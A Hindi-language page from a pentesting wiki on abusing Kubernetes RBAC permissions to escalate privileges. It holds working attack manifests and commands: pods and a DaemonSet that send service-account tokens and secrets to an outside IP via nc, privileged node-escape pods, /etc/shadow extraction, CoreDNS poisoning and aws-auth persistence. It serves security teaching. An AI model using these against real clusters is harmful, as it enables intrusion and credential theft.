Kubernetes में Roles/ClusterRoles का दुरुपयोग
Reading time: 30 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
यहाँ आप कुछ संभावित खतरनाक Roles और ClusterRoles कॉन्फ़िगरेशन पा सकते हैं।
याद रखें कि आप kubectl api-resources
के साथ सभी समर्थित संसाधन प्राप्त कर सकते हैं।
विशेषाधिकार वृद्धि
इसका मतलब है क्लस्टर के भीतर एक अलग प्रिंसिपल तक विभिन्न विशेषाधिकारों के साथ पहुँच प्राप्त करना (कubernetes क्लस्टर के भीतर या बाहरी क्लाउड के लिए) जो आपके पास पहले से हैं, Kubernetes में विशेषाधिकार बढ़ाने के लिए मूल रूप से 4 मुख्य तकनीकें हैं:
- अन्य उपयोगकर्ता/समूह/एसए को प्रतिनिधित्व करने में सक्षम होना जिनके पास kubernetes क्लस्टर के भीतर या बाहरी क्लाउड में बेहतर विशेषाधिकार हैं
- पॉड्स बनाना/पैच करना/कार्यक्रम चलाना जहाँ आप kubernetes क्लस्टर के भीतर या बाहरी क्लाउड में बेहतर विशेषाधिकार वाले एसए को पाना या संलग्न कर सकते हैं
- गुप्त पढ़ने में सक्षम होना क्योंकि एसए टोकन गुप्त के रूप में संग्रहीत होते हैं
- एक कंटेनर से नोड पर भागने में सक्षम होना, जहाँ आप नोड पर चल रहे कंटेनरों के सभी गुप्त, नोड के क्रेडेंशियल और नोड के भीतर क्लाउड में चलने वाले अनुमतियों को चुरा सकते हैं (यदि कोई हो)
- एक पांचवीं तकनीक जिसका उल्लेख किया जाना चाहिए वह है पॉड में पोर्ट-फॉरवर्ड चलाने की क्षमता, क्योंकि आप उस पॉड के भीतर दिलचस्प संसाधनों तक पहुँच प्राप्त कर सकते हैं।
किसी भी संसाधन या क्रिया (वाइल्डकार्ड) तक पहुँच
वाइल्डकार्ड (*) किसी भी क्रिया के साथ किसी भी संसाधन पर अनुमति देता है। इसका उपयोग प्रशासकों द्वारा किया जाता है। एक ClusterRole के भीतर इसका मतलब है कि एक हमलावर क्लस्टर में किसी भीnamespace का दुरुपयोग कर सकता है।
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]
किसी विशेष क्रिया के साथ किसी भी संसाधन तक पहुँचें
RBAC में, कुछ अनुमतियाँ महत्वपूर्ण जोखिम उत्पन्न करती हैं:
create
: किसी भी क्लस्टर संसाधन को बनाने की क्षमता प्रदान करता है, जिससे विशेषाधिकार वृद्धि का जोखिम होता है।list
: सभी संसाधनों की सूची बनाने की अनुमति देता है, संभावित रूप से संवेदनशील डेटा लीक कर सकता है।get
: सेवा खातों से रहस्यों तक पहुँचने की अनुमति देता है, जो सुरक्षा के लिए खतरा है।
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]
Pod Create - Steal Token
एक हमलावर जिसके पास एक पोड बनाने की अनुमति है, वह पोड में एक विशेषाधिकार प्राप्त सेवा खाता संलग्न कर सकता है और सेवा खाते की पहचान चुराने के लिए टोकन चुरा सकता है। प्रभावी रूप से इसके लिए विशेषाधिकार बढ़ाना
एक पोड का उदाहरण जो bootstrap-signer
सेवा खाते का टोकन चुराएगा और इसे हमलावर को भेजेगा:
apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
Pod Create & Escape
निम्नलिखित सभी विशेषाधिकारों को दर्शाता है जो एक कंटेनर हो सकता है:
- Privileged access (सुरक्षाओं को अक्षम करना और क्षमताओं को सेट करना)
- Disable namespaces hostIPC and hostPid जो विशेषाधिकारों को बढ़ाने में मदद कर सकते हैं
- Disable hostNetwork namespace, नोड्स के क्लाउड विशेषाधिकारों को चुराने और नेटवर्कों तक बेहतर पहुंच देने के लिए
- Mount hosts / inside the container
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
# add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /
पॉड बनाएं:
kubectl --token $token create -f mount_root.yaml
एक लाइनर इस ट्वीट से और कुछ अतिरिक्त के साथ:
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
Stealth
आप शायद stealthier होना चाहेंगे, निम्नलिखित पृष्ठों में आप देख सकते हैं कि यदि आप पिछले टेम्पलेट में उल्लेखित कुछ विशेषाधिकारों को सक्षम करके एक पोड बनाते हैं तो आप क्या एक्सेस कर पाएंगे:
- Privileged + hostPID
- Privileged only
- hostPath
- hostPID
- hostNetwork
- hostIPC
आप पिछले विशेषाधिकार प्राप्त पोड कॉन्फ़िगरेशन को बनाने/दुरुपयोग करने के उदाहरण https://github.com/BishopFox/badPods में पा सकते हैं।
Pod Create - Move to cloud
यदि आप create कर सकते हैं एक pod (और वैकल्पिक रूप से एक service account) तो आप cloud environment में विशेषाधिकार प्राप्त करने में सक्षम हो सकते हैं एक पोड या सेवा खाते को क्लाउड भूमिकाएँ सौंपकर और फिर इसे एक्सेस करके।
इसके अलावा, यदि आप host network namespace के साथ एक pod बना सकते हैं तो आप node इंस्टेंस की IAM भूमिका चुरा सकते हैं।
अधिक जानकारी के लिए देखें:
Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs
इन अनुमतियों का दुरुपयोग करके एक नया पोड बनाना और पिछले उदाहरण की तरह विशेषाधिकार स्थापित करना संभव है।
निम्नलिखित yaml एक डेमनसेट बनाता है और पोड के अंदर SA के टोकन को एक्सफिल्ट्रेट करता है:
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /
Pods Exec
pods/exec
kubernetes में एक संसाधन है जो एक पॉड के अंदर एक शेल में कमांड चलाने के लिए उपयोग किया जाता है। यह कंटेनरों के अंदर कमांड चलाने या एक शेल के अंदर जाने की अनुमति देता है।
इसलिए, यह संभव है कि एक पॉड के अंदर जाएं और SA का टोकन चुरा लें, या एक विशेषाधिकार प्राप्त पॉड में प्रवेश करें, नोड पर भागें, और नोड में सभी पॉड्स के टोकन चुरा लें और (ab)node का उपयोग करें:
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
note
डिफ़ॉल्ट रूप से, कमांड पॉड के पहले कंटेनर में निष्पादित होता है। kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'
के साथ कंटेनर में सभी पॉड्स प्राप्त करें और फिर kubectl exec -it <pod_name> -c <container_name> -- sh
के साथ कंटेनर को इंगित करें जहां आप इसे निष्पादित करना चाहते हैं।
यदि यह एक डिस्ट्रोलैस कंटेनर है, तो आप कंटेनरों की जानकारी प्राप्त करने के लिए शेल बिल्ट-इन्स का उपयोग करने या busybox जैसे अपने उपकरणों को अपलोड करने का प्रयास कर सकते हैं: kubectl cp </path/local/file> <podname>:</path/in/container>
।
port-forward
यह अनुमति एक स्थानीय पोर्ट को निर्दिष्ट पॉड में एक पोर्ट पर अग्रेषित करने की अनुमति देती है। इसका उद्देश्य पॉड के अंदर चल रहे अनुप्रयोगों को आसानी से डिबग करना है, लेकिन एक हमलावर इसका दुरुपयोग करके पॉड के अंदर दिलचस्प (जैसे DBs) या कमजोर अनुप्रयोगों (वेब?) तक पहुंच प्राप्त कर सकता है:
kubectl port-forward pod/mypod 5000:5000
Hosts Writable /var/log/ Escape
As indicated in this research, यदि आप एक पॉड तक पहुँच सकते हैं या एक पॉड बना सकते हैं जिसमें होस्ट का /var/log/
डायरेक्टरी माउंटेड है, तो आप कंटेनर से बाहर निकल सकते हैं।
यह मूल रूप से इस कारण है कि जब Kube-API एक कंटेनर के लॉग प्राप्त करने की कोशिश करता है (using kubectl logs <pod>
), तो यह पॉड के 0.log
फ़ाइल को Kubelet सेवा के /logs/
एंडपॉइंट का उपयोग करके अनुरोध करता है।
Kubelet सेवा /logs/
एंडपॉइंट को उजागर करती है जो मूल रूप से कंटेनर के /var/log
फ़ाइल सिस्टम को उजागर कर रही है।
इसलिए, एक हमलावर जिसके पास कंटेनर के /var/log/ फ़ोल्डर में लिखने की पहुँच है वह इस व्यवहार का दुरुपयोग 2 तरीकों से कर सकता है:
- अपने कंटेनर के
0.log
फ़ाइल को संशोधित करना (जो आमतौर पर/var/logs/pods/namespace_pod_uid/container/0.log
में स्थित होता है) ताकि यह एक सिंबलिंक हो जो/etc/shadow
की ओर इशारा करता हो, उदाहरण के लिए। फिर, आप निम्नलिखित करके होस्ट का शैडो फ़ाइल निकालने में सक्षम होंगे:
kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
- यदि हमलावर के पास
nodes/log
पढ़ने की अनुमतियाँ हैं, तो वह बस/host-mounted/var/log/sym
में/
के लिए एक symlink बना सकता है और जबhttps://<gateway>:10250/logs/sym/
पर पहुँचता है, तो वह होस्ट की रूट फ़ाइल प्रणाली को सूचीबद्ध करेगा (symlink को बदलने से फ़ाइलों तक पहुँच मिल सकती है)।
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]
एक प्रयोगशाला और स्वचालित शोषण पाया जा सकता है https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts
readOnly सुरक्षा को बायपास करना
यदि आप भाग्यशाली हैं और उच्च विशेषाधिकार प्राप्त क्षमता CAP_SYS_ADMIN
उपलब्ध है, तो आप बस फ़ोल्डर को rw के रूप में फिर से माउंट कर सकते हैं:
mount -o rw,remount /hostlogs/
Bypassing hostPath readOnly protection
जैसा कि इस शोध में कहा गया है, सुरक्षा को बायपास करना संभव है:
allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true
जो पिछले जैसे भागने को रोकने के लिए था, एक hostPath माउंट का उपयोग करने के बजाय, एक PersistentVolume और एक PersistentVolumeClaim का उपयोग करके कंटेनर में लिखने योग्य पहुंच के साथ एक होस्ट फ़ोल्डर को माउंट करें:
apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: ["sh", "-c", "sleep 1h"]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol
विशिष्ट खातों का अनुकरण करना
एक उपयोगकर्ता अनुकरण विशेषता के साथ, एक हमलावर एक विशिष्ट खाता अनुकरण कर सकता है।
बस kubectl
कमांड में --as=<username>
पैरामीटर का उपयोग करें एक उपयोगकर्ता का अनुकरण करने के लिए, या --as-group=<group>
का उपयोग करें एक समूह का अनुकरण करने के लिए:
kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters
या REST API का उपयोग करें:
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
Listing Secrets
गुप्त सूचनाओं की सूची बनाने की अनुमति एक हमलावर को वास्तव में गुप्त सूचनाओं को पढ़ने की अनुमति दे सकती है REST API एंडपॉइंट तक पहुँचकर:
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
Creating and Reading Secrets
Kubernetes के एक विशेष प्रकार के सीक्रेट kubernetes.io/service-account-token होते हैं जो serviceaccount टोकन को स्टोर करते हैं।
यदि आपके पास सीक्रेट बनाने और पढ़ने की अनुमति है, और आप serviceaccount का नाम भी जानते हैं, तो आप निम्नलिखित तरीके से एक सीक्रेट बना सकते हैं और फिर इससे पीड़ित serviceaccount का टोकन चुरा सकते हैं:
apiVersion: v1
kind: Secret
metadata:
name: stolen-admin-sa-token
namespace: default
annotations:
kubernetes.io/service-account.name: cluster-admin-sa
type: kubernetes.io/service-account-token
उदाहरण शोषण:
$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)
$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN
Warning: the list may be incomplete: webhook authorizer does not support user rule resolution
Resources Non-Resource URLs Resource Names Verbs
selfsubjectreviews.authentication.k8s.io [] [] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
secrets [] [] [get create]
[/.well-known/openid-configuration/] [] [get]
<SNIP>
[/version] [] [get]
$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN
error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default"
$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa
Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default"
$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN
secret/stolen-admin-sa-token created
$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json
{
"apiVersion": "v1",
"data": {
"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FU<SNIP>UlRJRklDQVRFLS0tLS0K",
"namespace": "ZGVmYXVsdA==",
"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWk<SNIP>jYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc="
},
"kind": "Secret",
"metadata": {
"annotations": {
"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n",
"kubernetes.io/service-account.name": "cluster-admin-sa",
"kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f"
},
"creationTimestamp": "2025-01-11T13:02:27Z",
"name": "stolen-admin-sa-token",
"namespace": "default",
"resourceVersion": "1019116",
"uid": "680d119f-89d0-4fc6-8eef-1396600d7556"
},
"type": "kubernetes.io/service-account-token"
}
ध्यान दें कि यदि आपको किसी विशेष namespace में secrets बनाने और पढ़ने की अनुमति है, तो पीड़ित serviceaccount भी उसी namespace में होना चाहिए।
एक secret पढ़ना – टोकन IDs का ब्रूट-फोर्सिंग
जब एक हमलावर के पास पढ़ने की अनुमति वाला एक टोकन होता है, तो उसे इसका उपयोग करने के लिए secret का सही नाम चाहिए होता है, जबकि व्यापक secrets की सूची विशेषता के विपरीत, अभी भी कमजोरियाँ हैं। सिस्टम में डिफ़ॉल्ट service accounts को सूचीबद्ध किया जा सकता है, प्रत्येक एक secret से जुड़ा होता है। इन secrets का नाम संरचना होती है: एक स्थिर उपसर्ग उसके बाद एक यादृच्छिक पांच-चर अल्फ़ान्यूमेरिक टोकन (कुछ वर्णों को छोड़कर) source code के अनुसार।
टोकन एक सीमित 27-चर सेट (bcdfghjklmnpqrstvwxz2456789
) से उत्पन्न होता है, न कि पूर्ण अल्फ़ान्यूमेरिक रेंज से। यह सीमा कुल संभावित संयोजनों को 14,348,907 (27^5) तक कम कर देती है। परिणामस्वरूप, एक हमलावर संभवतः कुछ घंटों में टोकन का पता लगाने के लिए एक ब्रूट-फोर्स हमले को निष्पादित कर सकता है, जो संवेदनशील service accounts तक पहुँचने के द्वारा विशेषाधिकार वृद्धि की संभावना को जन्म दे सकता है।
EncrpytionConfiguration स्पष्ट पाठ में
इस प्रकार की वस्तु में डेटा को स्थिर करने के लिए एन्क्रिप्ट करने के लिए स्पष्ट पाठ कुंजी खोजना संभव है जैसे:
# From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/
#
# CAUTION: this is an example configuration.
# Do not use this for your own cluster!
#
apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
resources:
- resources:
- secrets
- configmaps
- pandas.awesome.bears.example # a custom resource API
providers:
# This configuration does not provide data confidentiality. The first
# configured provider is specifying the "identity" mechanism, which
# stores resources as plain text.
#
- identity: {} # plain text, in other words NO encryption
- aesgcm:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- aescbc:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- secretbox:
keys:
- name: key1
secret: YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoxMjM0NTY=
- resources:
- events
providers:
- identity: {} # do not encrypt Events even though *.* is specified below
- resources:
- '*.apps' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key2
secret: c2VjcmV0IGlzIHNlY3VyZSwgb3IgaXMgaXQ/Cg==
- resources:
- '*.*' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key3
secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==
Certificate Signing Requests
यदि आपके पास संसाधन certificatesigningrequests
में create
क्रिया है (या कम से कम certificatesigningrequests/nodeClient
में)। आप एक नए नोड का नया CeSR बनाने में सक्षम हैं।
दस्तावेज़ के अनुसार, इन अनुरोधों को स्वचालित रूप से स्वीकृत करना संभव है, इसलिए उस मामले में आपको अतिरिक्त अनुमतियों की आवश्यकता नहीं है। यदि नहीं, तो आपको अनुरोध को स्वीकृत करने में सक्षम होना चाहिए, जिसका अर्थ है certificatesigningrequests/approval
में अपडेट करना और signers
में approve
करना, जिसमें resourceName <signerNameDomain>/<signerNamePath>
या <signerNameDomain>/*
हो।
एक भूमिका का उदाहरण जिसमें सभी आवश्यक अनुमतियाँ हैं:
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve
तो, नए नोड CSR के अनुमोदित होने के साथ, आप नोड्स की विशेष अनुमतियों का दुरुपयोग करके गुप्त जानकारियाँ चुरा सकते हैं और अधिकार बढ़ा सकते हैं।
इस पोस्ट और इस एक में GKE K8s TLS बूटस्ट्रैप कॉन्फ़िगरेशन को स्वचालित हस्ताक्षर के साथ कॉन्फ़िगर किया गया है और इसका दुरुपयोग करके एक नए K8s नोड के क्रेडेंशियल्स उत्पन्न किए जाते हैं और फिर उन क्रेडेंशियल्स का उपयोग करके गुप्त जानकारियाँ चुराकर अधिकार बढ़ाए जाते हैं।
यदि आपके पास उल्लेखित अधिकार हैं तो आप वही कर सकते हैं। ध्यान दें कि पहला उदाहरण उस त्रुटि को बायपास करता है जो नए नोड को कंटेनरों के अंदर गुप्त जानकारियों तक पहुँचने से रोकता है क्योंकि नोड केवल उन कंटेनरों के गुप्त जानकारियों तक पहुँच सकता है जो उस पर माउंट किए गए हैं।
इसका बायपास करने का तरीका बस यह है कि उस नोड नाम के लिए नोड क्रेडेंशियल्स बनाएं जहाँ दिलचस्प गुप्त जानकारियों वाला कंटेनर माउंट किया गया है (लेकिन पहले पोस्ट में इसे करने का तरीका देखें):
"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"
AWS EKS aws-auth configmaps
EKS (AWS में होना आवश्यक) क्लस्टरों पर kube-system namespace में configmaps
को संशोधित करने वाले प्रिंसिपल aws-auth configmap को ओवरराइट करके क्लस्टर एडमिन विशेषाधिकार प्राप्त कर सकते हैं।
आवश्यक क्रियाएँ update
और patch
हैं, या यदि configmap नहीं बनाया गया है तो create
:
# Check if config map exists
get configmap aws-auth -n kube-system -o yaml
## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters
# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns
# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters
warning
आप aws-auth
का उपयोग persistence के लिए कर सकते हैं जिससे अन्य खातों के उपयोगकर्ताओं को पहुंच मिलती है।
हालाँकि, aws --profile other_account eks update-kubeconfig --name <cluster-name>
एक अलग खाते से काम नहीं करता। लेकिन वास्तव में aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing
काम करता है यदि आप केवल नाम के बजाय क्लस्टर का ARN डालते हैं।
kubectl
को काम करने के लिए, बस सुनिश्चित करें कि victims kubeconfig को configure किया गया है और aws exec args में --profile other_account_role
जोड़ें ताकि kubectl अन्य खाते के प्रोफाइल का उपयोग करके टोकन प्राप्त कर सके और AWS से संपर्क कर सके।
CoreDNS config map
यदि आपके पास kube-system
namespace में coredns
configmap को संशोधित करने की अनुमति है, तो आप पता डोमेन को संशोधित कर सकते हैं ताकि आप संवेदनशील जानकारी चुराने या दुर्भावनापूर्ण सामग्री इंजेक्ट करने के लिए MitM हमले कर सकें।
आवश्यक क्रियाएँ update
और patch
हैं coredns
configmap (या सभी config maps) पर।
एक नियमित coredns फ़ाइल में कुछ ऐसा होता है:
data:
Corefile: |
.:53 {
log
errors
health {
lameduck 5s
}
ready
kubernetes cluster.local in-addr.arpa ip6.arpa {
pods insecure
fallthrough in-addr.arpa ip6.arpa
ttl 30
}
prometheus :9153
hosts {
192.168.49.1 host.minikube.internal
fallthrough
}
forward . /etc/resolv.conf {
max_concurrent 1000
}
cache 30
loop
reload
loadbalance
}
एक हमलावर इसे डाउनलोड कर सकता है kubectl get configmap coredns -n kube-system -o yaml
चलाकर, इसे संशोधित कर सकता है जैसे rewrite name victim.com attacker.com
जोड़कर ताकि जब भी victim.com
तक पहुंचा जाए, वास्तव में attacker.com
वह डोमेन हो जो पहुंचा जाएगा। और फिर इसे लागू करने के लिए kubectl apply -f poison_dns.yaml
चलाएं।
एक और विकल्प है कि बस फ़ाइल को संपादित करें kubectl edit configmap coredns -n kube-system
चलाकर और परिवर्तन करें।
GKE में वृद्धि करना
K8s अनुमतियों को GCP प्रिंसिपलों को असाइन करने के 2 तरीके हैं। किसी भी मामले में प्रिंसिपल को क्लस्टर तक पहुंचने के लिए container.clusters.get
अनुमति की भी आवश्यकता होती है, या आपको अपना खुद का kubectl कॉन्फ़िग फ़ाइल बनानी होगी (अगले लिंक का पालन करें)।
warning
K8s एपीआई एंडपॉइंट से बात करते समय, GCP ऑथ टोकन भेजा जाएगा। फिर, GCP, K8s एपीआई एंडपॉइंट के माध्यम से, पहले जांच करेगा कि प्रिंसिपल (ईमेल द्वारा) क्लस्टर के अंदर कोई पहुंच है या नहीं, फिर यह जांचेगा कि क्या इसकी GCP IAM के माध्यम से कोई पहुंच है।
यदि कोई भी इनमें से सत्य है, तो उसे उत्तर दिया जाएगा। यदि नहीं तो GCP IAM के माध्यम से अनुमतियाँ देने का सुझाव देने वाला एक त्रुटि दिया जाएगा।
फिर, पहला तरीका GCP IAM का उपयोग करना है, K8s अनुमतियों के उनके समान GCP IAM अनुमतियाँ हैं, और यदि प्रिंसिपल के पास यह है, तो वह इसका उपयोग कर सकेगा।
दूसरा तरीका है क्लस्टर के अंदर K8s अनुमतियों को असाइन करना उपयोगकर्ता की पहचान उसके ईमेल द्वारा करना (GCP सेवा खातों सहित)।
सेवा खाता टोकन बनाना
प्रिंसिपल जो TokenRequests (serviceaccounts/token
) बना सकते हैं K8s एपीआई एंडपॉइंट से बात करते समय SAs (जानकारी यहां)।
ephemeralcontainers
प्रिंसिपल जो update
या patch
pods/ephemeralcontainers
कर सकते हैं, वे अन्य पॉड्स पर कोड निष्पादन प्राप्त कर सकते हैं, और संभावित रूप से अपने नोड से बाहर निकल सकते हैं एक विशेषाधिकार प्राप्त securityContext के साथ एक अस्थायी कंटेनर जोड़कर।
ValidatingWebhookConfigurations या MutatingWebhookConfigurations
प्रिंसिपल जिनके पास validatingwebhookconfigurations
या mutatingwebhookconfigurations
पर create
, update
या patch
में से कोई भी क्रिया है, वे ऐसे webhookconfigurations में से एक बना सकते हैं ताकि वे अनुमतियों को बढ़ा सकें।
एक mutatingwebhookconfigurations
उदाहरण के लिए इस पोस्ट के इस अनुभाग की जांच करें।
वृद्धि करना
जैसा कि आप अगले अनुभाग में पढ़ सकते हैं: निर्मित विशेषाधिकार वृद्धि रोकथाम, एक प्रिंसिपल नई अनुमतियों के बिना भूमिकाओं या क्लस्टर भूमिकाओं को न तो अपडेट कर सकता है और न ही बना सकता है। सिवाय इसके कि उसके पास roles
या clusterroles
पर क्रिया escalate
या *
हो और संबंधित बाइंडिंग विकल्प।
तब वह नई भूमिकाओं, क्लस्टर भूमिकाओं को बेहतर अनुमतियों के साथ अपडेट/बना सकता है जो उसके पास हैं।
नोड्स प्रॉक्सी
प्रिंसिपल जिनके पास nodes/proxy
उपसंसाधन तक पहुंच है, वे Kubelet API के माध्यम से पॉड्स पर कोड निष्पादन कर सकते हैं (अनुसार यहां)। Kubelet प्रमाणीकरण के बारे में अधिक जानकारी इस पृष्ठ पर:
Kubelet Authentication & Authorization
आपके पास Kubelet API से अधिकृत बात करते हुए RCE प्राप्त करने का एक उदाहरण यहां है।
पॉड्स को हटाना + अस्थायी नोड्स
प्रिंसिपल जो पॉड्स को हटा सकते हैं (pods
संसाधन पर delete
क्रिया), या पॉड्स को निष्कासित कर सकते हैं (pods/eviction
संसाधन पर create
